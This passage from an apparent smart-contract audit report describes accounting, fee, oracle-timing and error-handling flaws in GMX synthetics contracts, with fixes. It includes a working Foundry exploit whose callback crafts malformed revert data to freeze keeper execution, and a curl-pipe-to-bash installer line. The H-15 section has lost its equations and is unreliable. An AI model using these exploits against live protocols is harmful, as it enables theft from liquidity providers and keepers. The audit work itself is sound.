↪  fees.borrowingFeeAmount - borrowingFeeAmountForFeeReceiver;
```

```
@>          fees.feeReceiverAmount += borrowingFeeAmountForFeeReceiver;

            int256 latestLongTokenFundingAmountPerSize = MarketUtils.getFundingAmountPerSize(dataStore, position.market(), longToken, position.isLong());
            int256 latestShortTokenFundingAmountPerSize = MarketUtils.getFundingAmountPerSize(dataStore, position.market(), shortToken, position.isLong());

            fees.funding = getFundingFees(
                position,
                longToken,
                shortToken,
                latestLongTokenFundingAmountPerSize,
                latestShortTokenFundingAmountPerSize
            );

@>          fees.totalNetCostAmount = fees.referral.affiliateRewardAmount + fees.feeReceiverAmount + fees.positionFeeAmountForPool + fees.funding.fundingFeeAmount + fees.borrowingFeeAmount;
            fees.totalNetCostUsd = fees.totalNetCostAmount * collateralTokenPrice.max;

            return fees;
        }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol#L377-L400

Tool used

Manual Review

Recommendation

```
diff --git a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
index c274e48..30bd6a8 100644
--- a/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
+++ b/gmx-synthetics/contracts/pricing/PositionPricingUtils.sol
@@ -393,7 +393,7 @@ library PositionPricingUtils {
             latestShortTokenFundingAmountPerSize
         );

-        fees.totalNetCostAmount = fees.referral.affiliateRewardAmount + fees.feeReceiverAmount + fees.positionFeeAmountForPool + fees.funding.fundingFeeAmount + fees.borrowingFeeAmount;
```

```
+        fees.totalNetCostAmount = fees.referral.affiliateRewardAmount +
↪  fees.feeReceiverAmount + fees.feeAmountForPool +
↪  fees.funding.fundingFeeAmount;
         fees.totalNetCostUsd = fees.totalNetCostAmount *
↪  collateralTokenPrice.max;

         return fees;
```

Issue H-11: Accounting breaks if end market appears multiple times in swap path

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/132

Found by

IIIIIII

Summary

If a swap path goes through a market that also is the final destination market, share accounting breaks

Vulnerability Detail

When doing a swap, every market in the provided array of markets has `_swap()` called, with the input token amount currently residing in the market address of the market, which converts the token to the output token. When the next market isn't the final destination market, the output token is transferred to the next market in the array, to be processed on the next iteration, and the pool's balance of input/output tokens is updated (applyDeltaToPoolAmount()). If the market is the final destination market, no transfer is done, but the balance is still updated (to account for tokens being taken out as either a swap order, or a swap into a position's collateral token).

If a user does an increase order with a swap path where the final destination market appears multiple times in the swap path, markets that appear in the array, after the extra destination market, will have updated their accounting of received tokens, without actually receiving tokens.

Impact

Token accounting will be broken, because the destination market will have extra tokens that its tracking of its own pool amounts doesn't know about (and can't be updated to know about), and subsequent markets in the chain will have fewer tokens than their pool amount accounting believes it does.

An attacker, if they're willing to incur the expense of swap fees, can perform swaps back and forth through the same market multiple times (to minimize swap impact fees), and cause a pool to have zero collateral tokens remaining, meaning LP market tokens are unable to withdraw their funds because token transfers will revert, and nobody will be able to exit their positions for the affected markets, since no collateral tokens will be available. There also will be an undercollateralization, because the reserves calculation will be wrong.

Even through normal use, if a user does this, they'll be able to get their funds, since LPs are providing swap liquidity, but when it comes time to wind down the market, the last to withdraw will not be able to get their funds.

Code Snippet

Tokens aren't transferred to the next market if the next market is the destination market of the swap:

```
// File: gmx-synthetics/contracts/swap/SwapUtils.sol : SwapUtils._swap()   #1

240            // the amountOut value includes the positive price impact amount
241 @>         if (_params.receiver != _params.market.marketToken) {
242                MarketToken(payable(_params.market.marketToken)).transferOut(
243                    cache.tokenOut,
244                    _params.receiver,
245                    cache.amountOut,
246                    _params.shouldUnwrapNativeToken
247                );
248:           }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/swap/SwapUtils.sol#L240-L248

Tool used

Manual Review

Recommendation

The `for`-loop calling `_swap()` already knows when it's processing the last swap, so set a boolean for this fact, and pass that variable into `_swap()`, and check the variable rather than using the current check

SHERLOCK

Issue H-12: Pool value calculation uses wrong portion of the borrowing fees

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/131

Found by

IIIIIII, 0xAmanda

Summary

The calculation of a pool's value incorrectly includes the fee receiver portion of the borrowing fees, rather than the pool's portion

Vulnerability Detail

Borrowing fees consist of two parts - the amount that the pool gets, and the amount the fee receiver address gets. Multiplying the total borrowing fees by the factor results in the amount the fee receiver is supposed to get, not the amount the pool is supposed to get. The code incorrectly includes the fee receiver amount rather than the pool amount, when calculating the pool's value.

Impact

The `getPoolValue()` function is used to determine how many shares to mint for a deposit of collateral tokens, and how many collateral tokens to get back during withdrawal, and for viewing the value of market tokens.

This means the accounting of value is wrong, and therefore some LPs will get more for their tokens than they should, and some less, and these will be principal losses.

Code Snippet

```
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.getPoolValue()   #1

            cache.value = cache.longTokenUsd + cache.shortTokenUsd;

            cache.totalBorrowingFees = getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, true);
            cache.totalBorrowingFees += getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, false);

            cache.borrowingFeeReceiverFactor = dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
```

```
@>          cache.value += Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);

            cache.impactPoolAmount = getPositionImpactPoolAmount(dataStore, market.marketToken);
            cache.value += cache.impactPoolAmount * indexTokenPrice.pickPrice(maximize);
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/market/MarketUtils.sol#L329-L349

Tool used

Manual Review

Recommendation

Use the pool's portion of the borrowing fees:

```diff
diff --git a/gmx-synthetics/contracts/market/MarketUtils.sol b/gmx-synthetics/contracts/market/MarketUtils.sol
index 7624b69..bd006bf 100644
--- a/gmx-synthetics/contracts/market/MarketUtils.sol
+++ b/gmx-synthetics/contracts/market/MarketUtils.sol
@@ -337,7 +337,7 @@ library MarketUtils {
         cache.totalBorrowingFees += getTotalBorrowingFees(dataStore, market.marketToken, market.longToken, market.shortToken, false);

         cache.borrowingFeeReceiverFactor = dataStore.getUint(Keys.BORROWING_FEE_RECEIVER_FACTOR);
-        cache.value += Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);
+        cache.value += cache.totalBorrowingFees - Precision.applyFactor(cache.totalBorrowingFees, cache.borrowingFeeReceiverFactor);

         cache.impactPoolAmount = getPositionImpactPoolAmount(dataStore, market.marketToken);
         cache.value += cache.impactPoolAmount * indexTokenPrice.pickPrice(maximize);
```

Issue H-13: Limit orders can be used to get a free look into the future

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/130

Found by

IIIIIII

Summary

Users can continually update their orders to get a free look into prices in future blocks

Vulnerability Detail

Order execution relies on signed archived prices from off-chain oracles, where each price is stored along with the block range it applies to, and limit orders are only allowed to execute with oracle prices where the block is greater than the block in which the order was last updated. Since prices are required to be future prices, there is a time gap between when the last signed price was archived, and the new price for the next block is stored in the archive, and the order keeper is able to fetch it and submit an execution for it in the next block.

The example given by the sponsor in discord was:

```
the oracle process:

1. the oracle node checks the latest price from reference exchanges and stores
 ↪  it with the oracle node's timestamp, e.g. time: 1000
2. the oracle node checks the latest block of the blockchain, e.g. block 100, it
 ↪  stores this with the oracle node's timestamp as well
3. the oracle node signs minOracleBlockNumber: 100, maxOracleBlockNumber: 100,
 ↪  timestamp: 1000, price: <price>
4. the next time the loop runs is at time 1001, if the latest block of the
 ↪  blockchain is block 105, e.g. if 5 blocks were produced in that one second,
 ↪  then the oracle would sign
minOracleBlockNumber: 101, maxOracleBlockNumber: 105, timestamp: 1001, price:
 ↪  <price>
```

https://discord.com/channels/812037309376495636/1073619363518758972/1083555347672862820

Impact

If a user has a pending exit order that was submitted a block N, and the user sees that the price at block N+1 will be more favorable, they can update their exit order, changing the amount by +/- 1 wei, and have the order execution delayed until the next block, at which point they can decided again whether the price and or impact is favorable, and whether to exit. In the sponsor's example, if the order was submitted at block 101, they have until block 105 to decide whether to update their order, since the order execution keeper won't be able to do the execution until block 106. There is a gas cost for doing such updates, but if the position is large enough, or the price is gapping enough, it is worth while to do this, especially if someone comes up with an automated service that does this on your behalf.

The more favorable price for the attacker is at the expense of the other side of the trade, and is a loss of capital for them.

Code Snippet

Limit orders are executed by keepers and the keepers are required to provide signed prices *after* the last order update:

```
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol :
↪  DecreaseOrderUtils.validateOracleBlockNumbers()   #1

139             if (
140                 orderType == Order.OrderType.LimitDecrease ||
141                 orderType == Order.OrderType.StopLossDecrease
142             ) {
143                 uint256 latestUpdatedAtBlock = orderUpdatedAtBlock >
↪  positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
144 @>              if
↪  (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
145                     OracleUtils.revertOracleBlockNumbersAreSmallerThanRequire⌋
↪  d(minOracleBlockNumbers, latestUpdatedAtBlock);
146                 }
147                 return;
148:            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/DecreaseOrderUtils.sol#L139-L148

```
// File: gmx-synthetics/contracts/order/DecreaseOrderUtils.sol :
↪  DecreaseOrderUtils.validateOracleBlockNumbers()   #2

139             if (
140                 orderType == Order.OrderType.LimitDecrease ||
141                 orderType == Order.OrderType.StopLossDecrease
142             ) {
143                 uint256 latestUpdatedAtBlock = orderUpdatedAtBlock > positionIncreasedAtBlock ? orderUpdatedAtBlock : positionIncreasedAtBlock;
144 @>              if (!minOracleBlockNumbers.areGreaterThan(latestUpdatedAtBlock)) {
145                     OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, latestUpdatedAtBlock);
146                 }
147                 return;
148:            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/DecreaseOrderUtils.sol#L139-L148

```
// File: gmx-synthetics/contracts/order/SwapOrderUtils.sol : SwapOrderUtils.validateOracleBlockNumbers()   #3

66             if (orderType == Order.OrderType.LimitSwap) {
67 @>              if (!minOracleBlockNumbers.areGreaterThan(orderUpdatedAtBlock)) {
68                     OracleUtils.revertOracleBlockNumbersAreSmallerThanRequired(minOracleBlockNumbers, orderUpdatedAtBlock);
69                 }
70                 return;
71:            }
```

https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/order/SwapOrderUtils.sol#L66-L71

The ExchangeRouter.updateOrder() function directly updates the storage details of the order (including touching the orderUpdatedAtBlock), without any execution keeper delay, and has no extra fees associated with it.

Tool used

Manual Review

Recommendation

Require a delay between when the order was last increased/submitted, and when an update is allowed, similar to REQUEST_EXPIRATION_BLOCK_AGE for the cancellation of market orders

Issue H-14: Incomplete error handling causes execution and freezing/cancelling of Deposits/Withdrawals/Orders to fail.

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/119

Found by

0xdeadbeef, KingNFT, hack3r-0m

Summary

Users can define callbacks for Deposits/Withdrawals/Orders execution and cancellations. GMX protocol attempts to manage errors during the execution of the callbacks

A user controlled callback can return a specially crafted revert reason that will make the error handling revert.

By making the execution and cancelation revert, a malicious actor can game orders and waste keeper gas.

Vulnerability Detail

The bug resides in `ErrorUtils`s `getRevertMessage` that is called on every callback attempt. Example of deposit callback:

```
try IDepositCallbackReceiver(deposit.callbackContract()).afterDepositExecution{
↪   gas: deposit.callbackGasLimit() }(key, deposit) {
        } catch (bytes memory reasonBytes) {
            (string memory reason, /* bool hasRevertMessage */) =
↪   ErrorUtils.getRevertMessage(reasonBytes);
            emit AfterDepositExecutionError(key, deposit, reason, reasonBytes);
        }
```

`ErrorUtils`s `getRevertMessage`: https://github.com/sherlock-audit/2023-02-gmx/blob/main/gmx-synthetics/contracts/utils/ErrorUtils.sol#L7

```
function getRevertMessage(bytes memory result) internal pure returns (string
↪   memory, bool) {
        // If the result length is less than 68, then the transaction either
↪   panicked or failed silently
        if (result.length < 68) {
            return ("", false);
        }
        bytes4 errorSelector = getErrorSelectorFromData(result);

        // 0x08c379a0 is the selector for Error(string)
        // referenced from
↪   https://blog.soliditylang.org/2021/04/21/custom-errors/
        if (errorSelector == bytes4(0x08c379a0)) {
            assembly {
                result := add(result, 0x04)
            }

            return (abi.decode(result, (string)), true);
        }

        // error may be a custom error, return an empty string for this case
        return ("", false);
    }
```

As can be seen in the above above snippets, the `reasonBytes` from the catch statement is passed to `getRevertMessage` which tries to extract the `Error(string)` message from the revert. The issue is that the data extracted from the revert can be crafted to revert on `abi.decode`.

I will elaborate: Correct (expected) revert data looks as follows: 1st 32 bytes: 0x000..64 (bytes memory size) 2nd 32 bytes: 0x08c379a0 (Error(string) selector) 3rd 32 bytes: offset to data 4th 32 bytes: length of data 5th 32 bytes: data

`abi.decode` reverts if the data is not structure correctly. There can be two reasons for revert:

1. if the 3rd 32 bytes (offset to data) is larger then the uint64 (0xffffffffffffffff)
    1. Simplified yul: `if gt(offset, 0xffffffffffffffff) { revert }`
2. if the 3rd 32 bytes (offset to data) is larger then the uint64 of the encoded data, the call will revert
    1. Simplieifed yul: `if iszero(slt(add(offset, 0x1f), size) { revert }`

By reverting with the following data in the callback, the `getRevertMessage` will revert: 0x000....64 0x0x08c379a0...000 0xffffffffffffffff....000 0x000...2 0x4141

Impact

There are two impacts will occur when the error handling reverts:

(1) Orders can be gamed

Since the following callbacks are controlled by the user,:

- `afterOrderExecution`

- `afterOrderCancellation`
- `afterOrderFrozen`

The user can decide when to send the malformed revert data and when not. Essentially preventing keepers from freezing orders and from executing orders until it fits the attacker.

There are two ways to game the orders:

1. An attacker can create a risk free order, by setting a long increase order. If the market increases in his favor, he can decide to "unblock" the execution and receive profit. If the market decreases, he can cancel the order or wait for the right timing.
2. An attacker can create a limit order with a size larger then what is available in the pool. The attacker waits for the price to hit and then deposit into the pool to make the transaction work. This method is supposed to be prevented by freezing orders, but since the attacker can make the `freezeOrder` revert, the scenario becomes vulnerable again.

(2) drain keepers funds

Since exploiting the bug for both execution and cancellation, keepers will ALWAYS revert when trying to execute Deposits/Withdrawals/Orders. The protocol promises to always pay keepers at-least the execution cost. By making the execution and cancellations revert the Deposits/Withdrawals/Orders will never be removed from the store and keepers transactions will keep reverting until potentially all their funds are wasted.

Code Snippet

I have constructed an end-to-end POC in foundry.

To get it running, first install foundry using the following command:

1. `curl -L https://foundry.paradigm.xyz | bash` (from https://book.getfoundry.sh/getting-started/installation#install-the-latest-release-by-using-foundryup)
2. If local node is not already running and contracts are not deployed, configured and funded - execute the following:

```
npx hardhat node
```

3 Perform the following set of commands from the repository root.

```
rm -rf foundry; foundryup; mkdir foundry; cd foundry; forge init --no-commit
```

5. Add the following to ‘foundry/test/NoneExecutableDeposits.t.sol

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

interface IExchangeRouter {
    function createDeposit(DrainWithdrawal.CreateDepositParams calldata params)
 ↪  external returns (bytes32);
}

interface IDepositHandler {
    function executeDeposit( bytes32 key, SetPricesParams calldata oracleParams)
 ↪  external;
}
interface IReader {
    function getMarket(address dataStore, address key) external view returns
 ↪  (Market.Props memory);
}

interface IDataStore {
    function getBytes32(bytes32 key) external view returns (bytes32);
    function setUint(bytes32 key, uint256 value) external;
}
library Market {
    struct Props {
        address marketToken;
        address indexToken;
        address longToken;
        address shortToken;
    }
}
library Deposit {
    struct Props {
        Addresses addresses;
        Numbers numbers;
        Flags flags;
    }
    struct Addresses {
        address account;
        address receiver;
        address callbackContract;
        address market;
        address initialLongToken;
        address initialShortToken;
        address[] longTokenSwapPath;
        address[] shortTokenSwapPath;
    }
    struct Numbers {
        uint256 initialLongTokenAmount;
        uint256 initialShortTokenAmount;
        uint256 minMarketTokens;
        uint256 updatedAtBlock;
        uint256 executionFee;
        uint256 callbackGasLimit;
    }
    struct Flags {
        bool shouldUnwrapNativeToken;
    }
}
struct SetPricesParams {
    uint256 signerInfo;
    address[] tokens;
    uint256[] compactedMinOracleBlockNumbers;
    uint256[] compactedMaxOracleBlockNumbers;
    uint256[] compactedOracleTimestamps;
    uint256[] compactedDecimals;
    uint256[] compactedMinPrices;
    uint256[] compactedMinPricesIndexes;
    uint256[] compactedMaxPrices;
    uint256[] compactedMaxPricesIndexes;
    bytes[] signatures;
    address[] priceFeedTokens;
}

contract Keeper is Test {
    fallback() external payable {
    }
}

contract Callback is Test {
    function afterDepositExecution(bytes32 key, Deposit.Props memory deposit)
↪   external {
        assembly{
            let free_mem_ptr := mload(64)
            mstore(free_mem_ptr,
↪   0x08c379a000000000000000000000000000000000000000000000000000000000)
            mstore(add(free_mem_ptr, 4), 0xffffffffffffff ) // This will cause a
↪   revert
            mstore(add(free_mem_ptr, 36), 8)
            mstore(add(free_mem_ptr, 68), "deadbeef")
            revert(free_mem_ptr, 100)
        }
    }
    function afterDepositCancellation(bytes32 key, Deposit.Props memory deposit)
↪   external {
        assembly{
            let free_mem_ptr := mload(64)
            mstore(free_mem_ptr,
↪   0x08c379a000000000000000000000000000000000000000000000000000000000)
            mstore(add(free_mem_ptr, 4), 0xffffffffffffff ) // This will cause a
↪   revert
            mstore(add(free_mem_ptr, 36), 8)
            mstore(add(free_mem_ptr, 68), "deadbeef")
            revert(free_mem_ptr, 100)
        }
    }
}

interface IRoleStore{
    function grantRole(address account, bytes32 roleKey) external;
}

contract DrainWithdrawal is Test {
    struct CreateDepositParams {
        address receiver;
        address callbackContract;
        address market;
        address initialLongToken;
        address initialShortToken;
        address[] longTokenSwapPath;
        address[] shortTokenSwapPath;
        uint256 minMarketTokens;
        bool shouldUnwrapNativeToken;
        uint256 executionFee;
        uint256 callbackGasLimit;
    }

    uint256 public constant COMPACTED_64_BIT_LENGTH = 64;
    uint256 public constant COMPACTED_64_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_64_BIT_LENGTH);

    uint256 public constant COMPACTED_32_BIT_LENGTH = 32;
    uint256 public constant COMPACTED_32_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_32_BIT_LENGTH);

    uint256 public constant COMPACTED_8_BIT_LENGTH = 8;
    uint256 public constant COMPACTED_8_BITMASK = ~uint256(0) >> (256 -
↪   COMPACTED_8_BIT_LENGTH);

    IExchangeRouter EXCHANGE_ROUTER =
↪   IExchangeRouter(0x4bf010f1b9beDA5450a8dD702ED602A104ff65EE);
```

```
address dataStore = 0x09635F643e140090A9A8Dcd712eD6285858ceBef;
IReader reader = IReader(0xD49a0e9A4CD5979aE36840f542D2d7f02C4817Be);
address WETH = 0x99bbA657f2BbC93c02D617f8bA121cB8Fc104Acf;
address USDC = 0x9d4454B023096f34B160D6B654540c56A1F81688;
address depositVault = 0xB0f05d25e41FbC2b52013099ED9616f1206Ae21B;
address controller = 0x1429859428C0aBc9C2C47C8Ee9FBaf82cFA0F20f;
address roleStore = 0x5FbDB2315678afecb367f032d93F642f64180aa3;
address ROLE_ADMIN = 0xe1Fd27F4390DcBE165f4D60DBF821e4B9Bb02dEd;
IDepositHandler depositHandler =
↪ IDepositHandler(0xD42912755319665397FF090fBB63B1a31aE87Cee);

address signer = 0xBcd4042DE499D14e55001CcbB24a551F3b954096;
uint256 pk =
↪ 0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897;

Callback callback = new Callback();
Keeper ORDER_KEEPER = new Keeper();

using Market for Market.Props;


function setUp() public {
}
function testNoneExecutableDeposits() external {
    // Setup market
    Market.Props memory market = reader.getMarket(dataStore,
↪ address(0xc50051e38C72DC671C6Ae48f1e278C1919343529));
    address marketWethUsdc = market.marketToken;
    address wethIndex = market.indexToken;
    address wethLong = market.longToken;
    address usdcShort = market.shortToken;
    vm.startPrank(controller);
    IDataStore(dataStore).setUint(keccak256(abi.encode("EXECUTION_GAS_FEE_MU ⌋
↪ LTIPLIER_FACTOR")), 10**30); // defualt
    IDataStore(dataStore).setUint(keccak256(abi.encode("NATIVE_TOKEN_TRANSFE ⌋
↪ R_GAS_LIMIT")),10000); // default
    vm.stopPrank();

    vm.prank(ROLE_ADMIN);
    IRoleStore(roleStore).grantRole(address(ORDER_KEEPER),
↪ keccak256(abi.encode("ORDER_KEEPER")));

    // validate weth long usdc short index weth
    assertEq(WETH, wethLong);
    assertEq(WETH, wethIndex);
    assertEq(USDC, usdcShort);

    // initial fund deposit vault and weth
```

```
        address[] memory addrArray;
        deal(USDC, depositVault, 1000 ether);
        vm.deal(depositVault, 1000 ether);
        vm.prank(depositVault);
        WETH.call{value: 1000
↪   ether}(abi.encodeWithSelector(bytes4(keccak256("deposit()"))));
        vm.deal(WETH, 1000 ether);

        // Create deposit params
        CreateDepositParams memory deposit = CreateDepositParams(
            address(this), // receiver
            address(callback), // callback
            marketWethUsdc, // market
            wethLong, // inital longtoken
            usdcShort, // inital short token
            addrArray, // longtokenswappath
            addrArray, // shortokenswappath
            0, // minmarkettokens
            true,// shouldunwrapnativetoken
            1000, // executionfee
            2000000 // callbackGasLimit
        );

        // Create deposit!
        bytes32 depositKey = EXCHANGE_ROUTER.createDeposit(deposit);

        // Attempt to execute deposit
        vm.startPrank(address(ORDER_KEEPER));
        SetPricesParams memory params = getPriceParams();
        vm.expectRevert(); // validate that the below function will revert
        depositHandler.executeDeposit(depositKey, params);
        vm.stopPrank();

    }

    function getPriceParams() internal returns (SetPricesParams memory) {
        address[] memory tokens = new address[](2);
        tokens[0] = WETH;
        tokens[1] = USDC;

        // min oracle block numbers
        uint256[] memory uncompactedMinOracleBlockNumbers = new uint256[](2);
        uncompactedMinOracleBlockNumbers[0] = block.number;
        uncompactedMinOracleBlockNumbers[1] = block.number;

        // decimals 18
        uint256[] memory uncompactedDecimals = new uint256[](2);
        uncompactedDecimals[0] = 18;
        uncompactedDecimals[1] = 18;

        // max price AGE
        uint256[] memory uncompactedMaxPriceAge = new uint256[](2);
        uncompactedMaxPriceAge[0] = block.timestamp;
        uncompactedMaxPriceAge[1] = block.timestamp;

        uint256[] memory uncompactedMaxPricesIndexes = new uint256[](2);
        uncompactedMaxPricesIndexes[0] = 0;
        uncompactedMaxPricesIndexes[1] = 0;

        uint256[] memory uncompactedMaxPrices = new uint256[](2);
        uncompactedMaxPrices[0] = 1000;
        uncompactedMaxPrices[1] = 1000;

        // signerInfo
        uint256 signerInfo = 1;
        uint256[] memory compactedMinOracleBlockNumbers =
↪   getCompactedValues(uncompactedMinOracleBlockNumbers,
↪   COMPACTED_64_BIT_LENGTH, COMPACTED_64_BITMASK);
        uint256[] memory compactedDecimals =
↪   getCompactedValues(uncompactedDecimals, COMPACTED_8_BIT_LENGTH,
↪   COMPACTED_8_BITMASK);
        uint256[] memory compactedMaxPriceAge =
↪   getCompactedValues(uncompactedMaxPriceAge, COMPACTED_64_BIT_LENGTH,
↪   COMPACTED_64_BITMASK);
        uint256[] memory compactedMaxPricesIndexes =
↪   getCompactedValues(uncompactedMaxPricesIndexes, COMPACTED_8_BIT_LENGTH,
↪   COMPACTED_8_BITMASK);
        uint256[] memory compactedMaxPrices =
↪   getCompactedValues(uncompactedMaxPrices, COMPACTED_32_BIT_LENGTH,
↪   COMPACTED_32_BITMASK);

        bytes[] memory sig = getSig(tokens, uncompactedDecimals,
↪   uncompactedMaxPrices);

        SetPricesParams memory oracleParams = SetPricesParams(
            signerInfo, // signerInfo
            tokens, //tokens
            compactedMinOracleBlockNumbers, // compactedMinOracleBlockNumbers
            compactedMinOracleBlockNumbers, //compactedMaxOracleBlockNumbers
            compactedMaxPriceAge, //  compactedOracleTimestamps
            compactedDecimals, // compactedDecimals
            compactedMaxPrices, // compactedMinPrices
            compactedMaxPricesIndexes, // compactedMinPricesIndexes
            compactedMaxPrices, // compactedMaxPrices
            compactedMaxPricesIndexes, // compactedMaxPricesIndexes
            sig, // signatures
            new address[](0) // priceFeedTokens
        );
        return oracleParams;
    }

    function getSig(address[] memory tokens, uint256[] memory decimals,
↪   uint256[] memory prices) internal returns (bytes[] memory){
        signer = vm.addr(pk);
        bytes[] memory ret = new bytes[](tokens.length);
        for(uint256 i=0; i<tokens.length; i++){
            bytes32 digest = toEthSignedMessageHash(
                keccak256(abi.encode(
                    keccak256(abi.encode(block.chainid, "xget-oracle-v1")),
                    block.number,
                    block.number,
                    block.timestamp,
                    bytes32(0),
                    tokens[i],
                    getDataStoreValueForToken(tokens[i]),
                    10 ** decimals[i],
                    prices[i],
                    prices[i]
                ))
            );
            (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);
            ret[i] = abi.encodePacked(r,s,v);
        }
        return ret;
    }

    function getDataStoreValueForToken(address token) internal returns (bytes32)
↪   {
        return IDataStore(dataStore).getBytes32(keccak256(abi.encode(keccak256(a ⌋
↪   bi.encode("ORACLE_TYPE")), token)));
    }

    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32
↪   message) {
        assembly {
            mstore(0x00, "\x19Ethereum Signed Message:\n32")
            mstore(0x1c, hash)
            message := keccak256(0x00, 0x3c)
        }
    }
    function getCompactedValues(
        uint256[] memory uncompactedValues,
        uint256 compactedValueBitLength,
        uint256 bitmask
    ) internal returns (uint256[] memory) {
        uint256 compactedValuesPerSlot = 256 / compactedValueBitLength;
        bool stopLoop = false;
        uint256[] memory compactedValues = new
↪   uint256[](uncompactedValues.length / compactedValuesPerSlot + 1);
        for(uint256 i=0; i < (uncompactedValues.length - 1) /
↪   compactedValuesPerSlot + 1; i++){
            uint256 valuePerSlot;
            for(uint256 j=0; j< compactedValuesPerSlot; j++){
                uint256 index = i * compactedValuesPerSlot + j;
                if(index >= uncompactedValues.length) {
                    stopLoop = true;
                    break;
                }
                uint256 value = uncompactedValues[index];
                uint256 bitValue = value << (j * compactedValueBitLength);
                valuePerSlot = valuePerSlot | bitValue;
            }
            compactedValues[i] = valuePerSlot;
            if(stopLoop){
                break;
            }
        }
        return compactedValues;
    }
}
```

6. execute `forge test --fork-url="http://127.0.0.1:8545"  -v -m testNoneExecutableDeposits`

Tool used

VS Code, Foundry

Recommendation

When parsing the revert reason, validate the offsets are smaller then the length of the encoding.

Issue H-15: Funding rate allows more tokens to be taken out than expected

Source: https://github.com/sherlock-audit/2023-02-gmx-judging/issues/109

Found by

float-audits

Summary

Current funding formula allows more tokens to be taken out by users who earning funding than what was deposited in by those users who paid the funding.

Vulnerability Detail

Setup

Config values:

- fundingFactor
- fundingExponentFactor

Variable values before t0:

assume OI$_l$OI_s longs pay shorts

assume time between each ti is the same

Time t0

User1 & User2 create increase orders in same market.

User1 - long with long token collateral

1. Set funding variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
IncreaseOrderUtils.processOrder
IncreasePositionUtils.increasePosition
PositionUtils.updateFundingAndBorrowingState
MarketUtils.updateFundingAmountPerSize
```

Calculate nextFundingAmountPerSize:

Variables set:

assume hasPendingLongTokenFundingFee = false

2. Set open interest variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
IncreaseOrderUtils.processOrder
IncreasePositionUtils.increasePosition
PositionUtils.updateOpenInterest
MarketUtils.applyDeltaToOpenInterest
```

Variables set:

3. Set position variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
IncreaseOrderUtils.processOrder
IncreasePositionUtils.increasePosition
```

Variables set:

User2 - short with long token collateral

1. Set funding variables

   durationInSeconds = 0 so no changes

2. Set open interest variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
IncreaseOrderUtils.processOrder
IncreasePositionUtils.increasePosition
PositionUtils.updateOpenInterest
MarketUtils.applyDeltaToOpenInterest
```

Variables set:

3. Set position variables

Variables set:

Time t1

User1 creates decrease order to exit long position.

Set funding variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
PositionUtils.updateFundingAndBorrowingState
MarketUtils.updateFundingAmountPerSize
```

Calculate nextFundingAmountPerSize:

Variables set:

assume hasPendingLongTokenFundingFee = false

Set open interest variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
PositionUtils.updateOpenInterest
MarketUtils.applyDeltaToOpenInterest
```

Variables set:

Calculate funding fees

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
DecreasePositionCollateralUtils.processCollateral
PositionPricingUtils.getPositionFees
```

Variables set:

Note on: FAPSIt1 - FAPSIt0

Notes

Since user pays funding:

- longTokenFundingFeeAmount is subtracted from outputAmount, which is the number of tokens that will be sent back to the user, and so the funding fee tokens stay in the MarketToken contract.
- longTokenFundingFeeAmount is subtracted from collateralAmount, so these tokens are not tracked anymore in any variables.

Time t2

User2 creates decrease order to exit everything.

Set funding variables

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
PositionUtils.updateFundingAndBorrowingState
MarketUtils.updateFundingAmountPerSize
```

Calculate nextFundingAmountPerSize:

Variables set:

assume hasPendingLongTokenFundingFee = false

Calculate funding fees

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
DecreasePositionCollateralUtils.processCollateral
PositionPricingUtils.getPositionFees
```

Variables set:

Note on: FAPS$_{s,t\_2} -$ FAPS_s, t_0

Update claimableCollateralAmount

Callpath:

```
OrderHandler.executeOrder
OrderUtils.executeOrder
DecreaseOrderUtils.processOrder
DecreasePositionUtils.decreasePosition
PositionUtils.incrementClaimableFundingAmount
MarketUtils.incrementClaimableFundingAmount
```

Variables set:

